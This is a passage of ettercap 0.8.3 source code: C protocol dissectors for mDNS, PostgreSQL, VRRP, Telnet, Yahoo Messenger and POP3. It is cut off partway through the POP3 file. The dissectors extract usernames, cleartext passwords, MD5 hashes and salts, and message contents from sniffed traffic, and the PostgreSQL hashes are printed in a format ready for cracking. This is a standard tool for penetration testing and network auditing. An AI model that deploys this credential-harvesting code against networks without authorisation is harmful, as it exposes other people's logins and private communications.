ntohs(*((uint16_t*)(ptr + 10))); if (records == 0) { // there is nothing to parse return NULL; } if ((ptr + 12) >= end) { // not enough data return NULL; } // store the start for dns records pointers start = ptr; ptr += 12; // loop over all the records for ( ; records > 0; --records) { uint16_t type = 0; uint16_t length = 0; uint16_t name_len = dn_expand(start, end, ptr, name, sizeof(name)); if ((ptr + name_len + 10) >= end) { return NULL; } ptr += name_len; type = ntohs(*((uint16_t*)(ptr))); length = ntohs(*((uint16_t*)(ptr + 8))); if ((ptr + 10 + length) >= end) { return NULL; } ptr += 10; switch (type) { case ns_t_a: // A host IPv4 handle_ipv4_record(name, (char*)ptr); break; case ns_t_aaaa: // AAAA (Host IPv6 Address) handle_ipv6_record(name, (char*)ptr); break; case ns_t_srv: // Service handle_srv_record(name, (char*)ptr + 4, PACKET); break; default: //various other types should hit here: TXT, HINFO, etc. break; } // skip over the rest of the record ptr += length; } return NULL; } static void handle_ipv4_record(char* name, char* ptr) { uint32_t addr; struct ip_addr ip; NS_GET32(addr, ptr); addr = htonl(addr); ip_addr_init(&ip, AF_INET, (u_char *)&addr); /* insert the answer in the resolv cache */ resolv_cache_insert_passive(&ip, name); } static void handle_ipv6_record(char* name, char* ptr) { uint16_t addr[8]; struct ip_addr ip; int i = 0; for (i=0; i<8; i++) { NS_GET16(addr[i], ptr); addr[i] = htons(addr[i]); } ip_addr_init(&ip, AF_INET6, (u_char *)&addr); /* insert the answer in the resolv cache */ resolv_cache_insert_passive(&ip, name); } static void handle_srv_record(char* name, char* port_ptr, struct packet_object *po) { uint16_t port; NS_GET16(port, port_ptr); port = ntohs(port); if (strlen(name) > sizeof(local_tcp)) { int name_offset = strlen(name) - (sizeof(local_tcp) - 1); if (strncmp(name + name_offset, local_tcp, sizeof(local_tcp) - 1) == 0) { PACKET->DISSECTOR.advertised_proto = NL_TYPE_TCP; } else if (strncmp(name + name_offset, local_udp, sizeof(local_udp) - 1) == 0) { PACKET->DISSECTOR.advertised_proto = NL_TYPE_UDP; } PACKET->DISSECTOR.advertised_port = port; } } ettercap-0.8.3/src/dissectors/ec_postgresql.c0000644000175000017500000001603613505247364021171 0ustar koeppeakoeppea/* ettercap -- dissector for PostgreSQL authentication traffic -- TCP 5432 Copyright (C) Dhiru Kholia (dhiru at openwall.com) Tested with, 1. PostgreSQL 9.2.1 64-bit server on Arch Linux 2. PostgreSQL 9.2.1 64-bit server on Windows 2008 R2 SP1 Special thanks to RhodiumToad from #postgresql Reference: http://www.postgresql.org/docs/9.2/static/protocol.html This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ #include #include #include #include /* globals */ struct postgresql_status { u_char status; u_char user[65]; u_char type; u_char password[66]; u_char hash[33]; u_char salt[9]; u_char database[65]; }; #define WAIT_AUTH 1 #define WAIT_RESPONSE 2 #define WAIT_RESULT 3 #define MD5 1 #define CT 2 /* protos */ FUNC_DECODER(dissector_postgresql); void postgresql_init(void); /************************************************/ #define GET_ULONG_BE(n,b,i) \ { \ (n) = ( (unsigned long) (b)[(i) ] << 24 ) \ | ( (unsigned long) (b)[(i) + 1] << 16 ) \ | ( (unsigned long) (b)[(i) + 2] << 8 ) \ | ( (unsigned long) (b)[(i) + 3] ); \ } static char itoa16[16] = "0123456789abcdef"; static inline void hex_encode(unsigned char *str, int len, unsigned char *out) { int i; for (i = 0; i < len; ++i) { out[0] = itoa16[str[i]>>4]; out[1] = itoa16[str[i]&0xF]; out += 2; } } /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init postgresql_init(void) { dissect_add("postgresql", APP_LAYER_TCP, 5432, dissector_postgresql); } FUNC_DECODER(dissector_postgresql) { DECLARE_DISP_PTR(ptr); struct ec_session *s = NULL; void *ident = NULL; char tmp[MAX_ASCII_ADDR_LEN]; struct postgresql_status *conn_status; /* don't complain about unused var */ (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; if (FROM_CLIENT("postgresql", PACKET)) { if (PACKET->DATA.len < 4) return NULL; dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_postgresql)); /* if the session does not exist... */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { /* search for user and database strings, look for StartupMessage */ unsigned char *u = memmem(ptr, PACKET->DATA.len, "user", 4); unsigned char *d = memmem(ptr, PACKET->DATA.len, "database", 8); if (!memcmp(ptr + 4, "\x00\x03\x00\x00", 4) && u && d) { /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_postgresql)); /* remember the state (used later) */ SAFE_CALLOC(s->data, 1, sizeof(struct postgresql_status)); conn_status = (struct postgresql_status *) s->data; conn_status->status = WAIT_AUTH; /* user is always null-terminated */ strncpy((char*)conn_status->user, (char*)(u + 5), 65); conn_status->user[64] = 0; /* database is always null-terminated */ strncpy((char*)conn_status->database, (char*)(d + 9), 65); conn_status->database[64] = 0; /* save the session */ session_put(s); } } else { conn_status = (struct postgresql_status *) s->data; if (conn_status->status == WAIT_RESPONSE) { /* check for PasswordMessage packet */ if (ptr[0] == 'p' && conn_status->type == MD5) { DEBUG_MSG("\tDissector_postgresql RESPONSE type is MD5"); if(memcmp(ptr + 1, "\x00\x00\x00\x28", 4)) { DEBUG_MSG("\tDissector_postgresql BUG, expected length is 40"); return NULL; } if (PACKET->DATA.len < 40) { DEBUG_MSG("\tDissector_postgresql BUG, expected length is 40"); return NULL; } memcpy(conn_status->hash, ptr + 5 + 3, 32); conn_status->hash[32] = 0; DISSECT_MSG("%s:$postgres$%s*%s*%s:%s:%d\n", conn_status->user, conn_status->user, conn_status->salt, conn_status->hash, ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst)); dissect_wipe_session(PACKET, DISSECT_CODE(dissector_postgresql)); } else if (ptr[0] == 'p' && conn_status->type == CT) { unsigned int length; DEBUG_MSG("\tDissector_postgresql RESPONSE type is clear-text!"); GET_ULONG_BE(length, ptr, 1); length -= 4; if (length > 65 || PACKET->DATA.len < length+5) { dissect_wipe_session(PACKET, DISSECT_CODE(dissector_postgresql)); return NULL; } snprintf((char*)conn_status->password, length+1, "%s", (char*)(ptr + 5)); DISSECT_MSG("PostgreSQL credentials:%s-%d:%s:%s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), conn_status->user, conn_status->password); dissect_wipe_session(PACKET, DISSECT_CODE(dissector_postgresql)); } } } } else { /* Packets coming from the server */ if (PACKET->DATA.len < 9) return NULL; dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_postgresql)); if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { conn_status = (struct postgresql_status *) s->data; if (conn_status->status == WAIT_AUTH && ptr[0] == 'R' && !memcmp(ptr + 1, "\x00\x00\x00\x0c", 4) && !memcmp(ptr + 5, "\x00\x00\x00\x05", 4)) { conn_status->status = WAIT_RESPONSE; conn_status->type = MD5; DEBUG_MSG("\tDissector_postgresql AUTH type is MD5"); hex_encode(ptr + 9, 4, conn_status->salt); /* save salt */ } else if (conn_status->status == WAIT_AUTH && ptr[0] == 'R' && !memcmp(ptr + 1, "\x00\x00\x00\x08", 4) && !memcmp(ptr + 5, "\x00\x00\x00\x03", 4)) { conn_status->status = WAIT_RESPONSE; conn_status->type = CT; DEBUG_MSG("\tDissector_postgresql AUTH type is clear-text!"); } } } SAFE_FREE(ident); return NULL; } // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_vrrp.c0000644000175000017500000001022213505247364017746 0ustar koeppeakoeppea/* ettercap -- dissector vrrp -- works over IP ! Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* * RFC: 2338 * * 0 1 2 3 * 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * |Version| Type | Virtual Rtr ID| Priority | Count IP Addrs| * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | Auth Type | Adver Int | Checksum | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | IP Address (1) | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | . | * | . | * | . | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | IP Address (n) | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | Authentication Data (1) | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | Authentication Data (2) | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * */ #include #include #include /* globals */ struct vrrp_hdr { u_char ver; /* Version */ u_char id; /* Virtual Router ID */ u_char prio; /* Router Priority */ u_char naddr; /* # of addresses */ u_char auth; /* Type of Authentication */ u_char adv; /* ADVERTISEMENT Interval */ u_short csum; /* Checksum */ }; #define VRRP_AUTH_NONE 0 #define VRRP_AUTH_SIMPLE 1 #define VRRP_AUTH_AH 2 #define VRRP_AUTH_DATA_LEN 8 /* protos */ FUNC_DECODER(dissector_vrrp); void vrrp_init(void); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init vrrp_init(void) { dissect_add("vrrp", PROTO_LAYER, NL_TYPE_VRRP, dissector_vrrp); } /* * the passwords collected by vrrp will not be logged * in logfile since it is not over TCP or UDP. * anyway we can print them in the user message window */ FUNC_DECODER(dissector_vrrp) { DECLARE_DISP_PTR_END(ptr, end); char tmp[MAX_ASCII_ADDR_LEN]; struct vrrp_hdr *vhdr; u_char *auth; /* don't complain about unused var */ (void)end; (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* skip empty packets */ if (PACKET->DATA.len < sizeof(struct vrrp_hdr)) return NULL; DEBUG_MSG("VRRP --> dissector_vrrp"); vhdr = (struct vrrp_hdr *)ptr; /* not an authenticated message */ if (ntohs(vhdr->auth) != VRRP_AUTH_SIMPLE) return NULL; /* point to the auth */ auth = ptr + sizeof(struct vrrp_hdr) + (vhdr->naddr * IP_ADDR_LEN); DISSECT_MSG("VRRP : %s:%d -> AUTH: %s \n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), auth); return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_telnet.c0000644000175000017500000002471713505247364020266 0ustar koeppeakoeppea/* ettercap -- dissector TELNET -- TCP 23 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include /* protos */ FUNC_DECODER(dissector_telnet); void telnet_init(void); static void skip_telnet_command(u_char **ptr, u_char *end); static void convert_zeros(u_char *ptr, u_char *end); static int match_login_regex(const char *ptr); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init telnet_init(void) { dissect_add("telnet", APP_LAYER_TCP, 23, dissector_telnet); sslw_dissect_add("telnets", 992, dissector_telnet, SSL_ENABLED); } /* * telnet sends characters one per packet, * so we have to make sessions to collect * the string among the packet stram. * * the telnet collector collects user and pass only if * a session is present. * the session is created looking at the server response * and searching for "login:", "failed" ecc... so we will * collect even failed logins. */ FUNC_DECODER(dissector_telnet) { DECLARE_DISP_PTR_END(ptr, end); struct ec_session *s = NULL; void *ident = NULL; char tmp[MAX_ASCII_ADDR_LEN]; /* don't complain about unused var */ (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* the connection is starting... create the session */ CREATE_SESSION_ON_SYN_ACK("telnet", s, dissector_telnet); CREATE_SESSION_ON_SYN_ACK("telnets", s, dissector_telnet); /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; /* skip the telnet commands, we are interested only in readable data */ skip_telnet_command(&ptr, end); /* the packet was made only by commands, skip it */ if (ptr >= end) return NULL; DEBUG_MSG("TELNET --> TCP dissector_telnet"); /* search if there are 0x00 char and covert them to spaces. * some OS (BSDI) send zeroes into the packet, so we cant use * string functions */ convert_zeros(ptr, end); /* create an ident to retrieve the session */ dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_telnet)); /* is the message from the server or the client ? */ if (FROM_SERVER("telnet", PACKET) || FROM_SERVER("telnets", PACKET)) { /* start the collecting process when a "reserved" word is seen */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { if (match_login_regex((const char*)ptr)) { DEBUG_MSG("\tdissector_telnet - BEGIN"); /* create the session to begin the collection */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_telnet)); /* use this value to remember to not collect the banner again */ s->data = strdup("\xe7\x7e"); session_put(s); return NULL; } } } else { /* retrieve the session */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { /* sanity check */ if (s->data == NULL) return NULL; /* if the collecting process has to be initiated */ if (!strcmp(s->data, "\xe7\x7e")) { /* the characters are not printable, skip them */ if (!isprint((int)*ptr)) { SAFE_FREE(ident); return NULL; } DEBUG_MSG("\tdissector_telnet - FIRST CHAR"); /* save the first packet */ s->data = strdup((const char*)ptr); /* collect the subsequent packets */ } else { size_t i, stringlen; u_char *p; u_char str[strlen(s->data) + PACKET->DATA.disp_len + 2]; memset(str, 0, sizeof(str)); /* concat the char to the previous one */ snprintf((char*)str, strlen(s->data) + PACKET->DATA.disp_len + 2, "%s%s", (char *)s->data, ptr); /* parse the string for backspaces and erase as wanted */ stringlen = strlen((const char*)str); for (p = str, i = 0; i < stringlen; i++) { if (str[i] == '\b' || str[i] == 0x7f) { p--; } else { *p = str[i]; p++; } } *p = '\0'; /* save the new string */ SAFE_FREE(s->data); p = s->data = strdup((const char*)str); /* terminate the string at \n */ if ((p = (u_char*)strchr(s->data, '\n')) != NULL) *p = '\0'; /* * the user input is terminated * check if it was the password by checking * the presence of \r in the string * we store "user\rpass\r" and then we split it */ if (strchr((const char*)ptr, '\r') || strchr((const char*)ptr, '\n')) { /* there is the \r and it is not the last char */ if ( ((ptr = (u_char*)strchr(s->data, '\r')) || (ptr = (u_char*)strchr(s->data, '\n'))) && ptr != s->data + strlen(s->data) - 1 ) { /* fill the structure */ PACKET->DISSECTOR.user = strdup(s->data); if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.user, '\r')) != NULL ) *ptr = '\0'; PACKET->DISSECTOR.pass = strdup((const char*)ptr + 1); if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) *ptr = '\0'; /* display the message */ DISSECT_MSG("TELNET : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass); /* delete the session to stop the collection */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_telnet)); } SAFE_FREE(ident); return NULL; } } } } /* delete the ident */ SAFE_FREE(ident); /* check if it is the first readable packet sent by the server */ IF_FIRST_PACKET_FROM_SERVER_SSL("telnet", "telnets", s, ident, dissector_telnet) { size_t i; u_char *q; DEBUG_MSG("\tdissector_telnet BANNER"); /* get the banner */ SAFE_CALLOC(PACKET->DISSECTOR.banner, PACKET->DATA.len + 1, sizeof(char)); if ( end > ptr && (u_int32)(end - ptr) <= PACKET->DATA.len) /* Paranoid check */ memcpy(PACKET->DISSECTOR.banner, ptr, end - ptr ); q = (u_char*)PACKET->DISSECTOR.banner; for (i = 0; i < PACKET->DATA.len; i++) { /* replace \r\n with spaces */ if (q[i] == '\r' || q[i] == '\n') q[i] = ' '; /* replace command with end of string */ if (q[i] == 0xff) q[i] = '\0'; } /* XXX - ugly hack !! * it is for servers that send a "\r\0\r\n" before the banner (BSDI) * returning here, means that we don't erase the SYN+ACK session * so the next packet will fall here again. */ if (strlen(PACKET->DISSECTOR.banner) < 5) { SAFE_FREE(PACKET->DISSECTOR.banner); SAFE_FREE(ident); return NULL; } /* * some OS (e.g. windows and ipso) send the "login:" in the * same packet as the banner... */ if (match_login_regex((const char*)ptr)) { DEBUG_MSG("\tdissector_telnet - BEGIN"); /* create the session to begin the collection */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_telnet)); /* use this value to remember to not collect the banner again */ s->data = "\xe7\x7e"; session_put(s); return NULL; } } ENDIF_FIRST_PACKET_FROM_SERVER(s, ident); return NULL; } /* * move the pointer ptr while it is a telnet command. */ static void skip_telnet_command(u_char **ptr, u_char *end) { while(**ptr == 0xff && *ptr < end) { /* sub option 0xff 0xfa ... ... 0xff 0xf0 */ if (*(*ptr + 1) == 0xfa) { *ptr += 1; /* search the sub-option end (0xff 0xf0) */ do { *ptr += 1; } while(**ptr != 0xff && *ptr < end); /* skip the sub-option end */ *ptr += 2; } else { /* normal option 0xff 0xXX 0xXX */ *ptr += 3; } } } /* * convert 0x00 char into spaces (0x20) so we can * use str*() functions on the buffer... */ static void convert_zeros(u_char *ptr, u_char *end) { /* * walk the entire buffer, but skip the last * char, if it is 0x00 it is actually the string * terminator */ while(ptr < end - 1) { if (*ptr == 0x00) { DEBUG_MSG("\tdissector_telnet ZERO converted"); /* convert the char to a space */ *ptr = ' '; } ptr++; } } /* * serach the strings which can identify failed login... * return 1 on succes, 0 on failure */ static int match_login_regex(const char *ptr) { char *words[] = {"incorrect", "failed", "failure", NULL }; int i = 0; /* * "login:" is a special case, we have to take care * of messages from the server, they can contain login: * even if it is not the login prompt */ if ((strcasestr(ptr, "login:") || strcasestr(ptr, "username:") ) && !strcasestr(ptr, "last") && !strcasestr(ptr, "from")) return 1; /* search for keywords */ do { if (strcasestr(ptr, words[i])) return 1; } while (words[++i] != NULL); return 0; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_ymsg.c0000644000175000017500000001232113505247364017736 0ustar koeppeakoeppea/* ettercap -- dissector Yahoo Messenger -- TCP 5050 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* globals */ /* protos */ FUNC_DECODER(dissector_ymsg); void ymsg_init(void); void decode_pwd(char *pwd, char *outpwd); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init ymsg_init(void) { dissect_add("ymsg", APP_LAYER_TCP, 5050, dissector_ymsg); } FUNC_DECODER(dissector_ymsg) { DECLARE_DISP_PTR_END(ptr, end); char tmp[MAX_ASCII_ADDR_LEN]; u_char *q; u_int32 field_len; /* don't complain about unused var */ (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* Empty or not a yahoo messenger packet */ if (PACKET->DATA.len == 0 || memcmp(ptr, "YMSG", 4)) return NULL; DEBUG_MSG("ymsg --> TCP dissector_ymsg"); /* standard ymesg separator */ if ( !(ptr = memmem(ptr, PACKET->DATA.len, "\xC0\x80", 2)) ) return NULL; /* Login is ASCII 0 */ if (*(ptr-1) == '0' && FROM_CLIENT("ymsg", PACKET)) { /* Skip the separator and reach the end*/ ptr += 2; for (q=ptr; *q != 0xc0 && q < end; q++); if (q >= end) return NULL; /* Calculate the user len (no int overflow) */ field_len = q - ptr; SAFE_CALLOC(PACKET->DISSECTOR.user, field_len + 1, sizeof(char)); memcpy(PACKET->DISSECTOR.user, ptr, field_len); /* Skip the separator */ ptr = q + 2; if (*ptr != '6') { SAFE_FREE(PACKET->DISSECTOR.user); return NULL; } /* Login is ASCII 6 */ ptr += 3; /* skip the separator and the "6" */ for (q=ptr; *q != 0xc0 && q < end; q++); if (q >= end) { SAFE_FREE(PACKET->DISSECTOR.user); return NULL; } /* Calculate the pass len (no int overflow) */ field_len = q - ptr; SAFE_CALLOC(PACKET->DISSECTOR.pass, field_len + 1, sizeof(char)); memcpy(PACKET->DISSECTOR.pass, ptr, field_len); PACKET->DISSECTOR.info = strdup("The pass is in MD5 format ( _2s43d5f is the salt )"); DISSECT_MSG("YMSG : %s:%d -> USER: %s HASH: %s - %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass, PACKET->DISSECTOR.info); } else if (*(ptr-1) == '1') { /* Message is ASCII 1 */ u_char *from=NULL, *to=NULL, *message=NULL, *temp_disp_data; /* Skip the separator and reach the end*/ ptr += 2; for (q=ptr; *q != 0xc0 && q < end; q++); if (q >= end) return NULL; field_len = q - ptr; SAFE_CALLOC(from, field_len + 1, sizeof(char)); memcpy(from, ptr, field_len); /* Skip the two separators and the ASCII 5 */ ptr = q + 5; for (q=ptr; *q != 0xc0 && q < end; q++); if (q >= end) { SAFE_FREE(from); return NULL; } field_len = q - ptr; SAFE_CALLOC(to, field_len + 1, sizeof(char)); memcpy(to, ptr, field_len); /* Skip the two separators and the ASCII 14 */ ptr = q + 6; for (q=ptr; *q != 0xc0 && q < end; q++); if (q >= end) { SAFE_FREE(from); SAFE_FREE(to); return NULL; } field_len = q - ptr; SAFE_CALLOC(message, field_len + 1, sizeof(char)); memcpy(message, ptr, field_len); /* Update disp_data in the packet object (128 byte will be enough for ****YAHOOO.... string */ temp_disp_data = (u_char *)realloc(PACKET->DATA.disp_data, strlen((const char*)from) + strlen((const char*)to) + strlen((const char*)message) + 128); if (temp_disp_data != NULL) { PACKET->DATA.disp_data = temp_disp_data; snprintf((char*)PACKET->DATA.disp_data, strlen((const char*)from) + strlen((const char*)to) + strlen((const char*)message) + 128, "*** Yahoo Message ***\n From: %s\n To: %s\n\n Message: %s\n", from, to, message); PACKET->DATA.disp_len = strlen((const char*)PACKET->DATA.disp_data); } SAFE_FREE(from); SAFE_FREE(to); SAFE_FREE(message); } return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_pop.c0000644000175000017500000003065413505247364017566 0ustar koeppeakoeppea/* ettercap -- dissector POP3 -- TCP 110 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* * The authentication schema can be found here: * * ftp://ftp.rfc-editor.org/in-notes/std/std53.txt * * we currently support: * - USER & PASS * - APOP * - AUTH LOGIN (SASL) */ #include #include #include #include #include /* protos */ FUNC_DECODER(dissector_pop); void pop_init(void); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init pop_init(void) { dissect_add("pop3", APP_LAYER_TCP, 110, dissector_pop); sslw_dissect_add("pop3s", 995, dissector_pop, SSL_ENABLED); } FUNC_DECODER(dissector_pop) { DECLARE_DISP_PTR_END(ptr, end); struct ec_session *s = NULL; void *ident = NULL; char tmp[MAX_ASCII_ADDR_LEN]; /* don't complain about unused var */ (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* the connection is starting... create the session */ CREATE_SESSION_ON_SYN_ACK("pop3", s, dissector_pop); /* create the session even if we are into an ssl tunnel */ CREATE_SESSION_ON_SYN_ACK("pop3s", s, dissector_pop); /* check if it is the first packet sent by the server */ if ((FROM_SERVER("pop3", PACKET) || FROM_SERVER("pop3s", PACKET)) && PACKET->L4.flags & TH_PSH) { dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_pop)); /* the session exist */ if (session_get(&s, ident, DISSECT_IDENT_LEN) != -E_NOTFOUND) { /* prevent the deletion of session created for the user and pass */ if (s->data == NULL) { /* get the banner */ if (!strncmp((const char*)ptr, "+OK", 3)) PACKET->DISSECTOR.banner = strdup((const char*)ptr + 4); else { SAFE_FREE(ident); return NULL; } DEBUG_MSG("\tdissector_pop BANNER"); /* remove the \r\n */ if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.banner, '\r')) != NULL ) *ptr = '\0'; /* remove the trailing msg-id <...> */ if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.banner, '<')) != NULL ) { /* save the msg-id for APOP authentication */ s->data = strdup((const char*)ptr); /* save the session */ *(ptr - 1) = '\0'; } else { /* fake the msgid if it does not exist */ s->data = strdup(""); } } else if (!strcmp(s->data, "AUTH")) { /* * the client has requested AUTH LOGIN, * check if the server support it * else delete the session */ if (strstr((const char*)ptr, "-ERR")) dissect_wipe_session(PACKET, DISSECT_CODE(dissector_pop)); } } SAFE_FREE(ident); return NULL; } /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; DEBUG_MSG("POP --> TCP dissector_pop"); /* skip the whitespaces at the beginning */ while(*ptr == ' ' && ptr != end) ptr++; /* reached the end */ if (ptr == end) return NULL; /* * USER & PASS authentication: * * USER user * PASS pass */ if ( !strncasecmp((const char*)ptr, "USER ", 5) ) { DEBUG_MSG("\tDissector_POP USER"); /* destroy any previous session */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_pop)); /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_pop)); ptr += 5; /* if not null, free it */ SAFE_FREE(s->data); /* fill the session data */ s->data = strdup((const char*)ptr); s->data_len = strlen((const char*)ptr); if ( (ptr = (u_char*)strchr(s->data,'\r')) != NULL ) *ptr = '\0'; /* save the session */ session_put(s); return NULL; } /* harvest the password */ if ( !strncasecmp((const char*)ptr, "PASS ", 5) ) { DEBUG_MSG("\tDissector_POP PASS"); ptr += 5; /* create an ident to retrieve the session */ dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_pop)); /* retrieve the session and delete it */ if (session_get_and_del(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { SAFE_FREE(ident); return NULL; } SAFE_FREE(ident); /* check that the user was sent before the pass */ if (s->data == NULL) { return NULL; } /* * if the PASS command is issued before the USER one, we have to APOP * digest in the s->data. we can check it on the first char. who has an * username beginning with '<' ??? :) */ if (*(char *)(s->data) == '<') { return NULL; } /* fill the structure */ PACKET->DISSECTOR.user = strdup(s->data); PACKET->DISSECTOR.pass = strdup((const char*)ptr); if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) *ptr = '\0'; /* free the session */ session_free(s); /* print the message */ DISSECT_MSG("POP : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass); return NULL; } /* * APOP authentication : * * APOP user md5-digest * * MD5-diges is computed on "pass" */ if ( !strncasecmp((const char*)ptr, "APOP ", 5) ) { DEBUG_MSG("\tDissector_POP APOP"); /* create an ident to retrieve the session */ dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_pop)); /* retrieve the session and delete it */ if (session_get_and_del(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { SAFE_FREE(ident); return NULL; } /* check that the digest was sent before APOP */ if (s->data == NULL) { SAFE_FREE(ident); return NULL; } /* move the pointers to "user" */ ptr += 5; PACKET->DISSECTOR.user = strdup((const char*)ptr); /* split the string */ if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.user, ' ')) != NULL ) *ptr = '\0'; else { /* malformed string */ SAFE_FREE(PACKET->DISSECTOR.user); session_free(s); SAFE_FREE(ident); return NULL; } /* skip the \0 */ ptr += 1; /* save the user */ PACKET->DISSECTOR.pass = strdup((const char*)ptr); if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) *ptr = '\0'; /* set the info */ PACKET->DISSECTOR.info = strdup(s->data); /* free the session */ session_free(s); SAFE_FREE(ident); /* print the message */ DISSECT_MSG("POP : %s:%d -> USER: %s 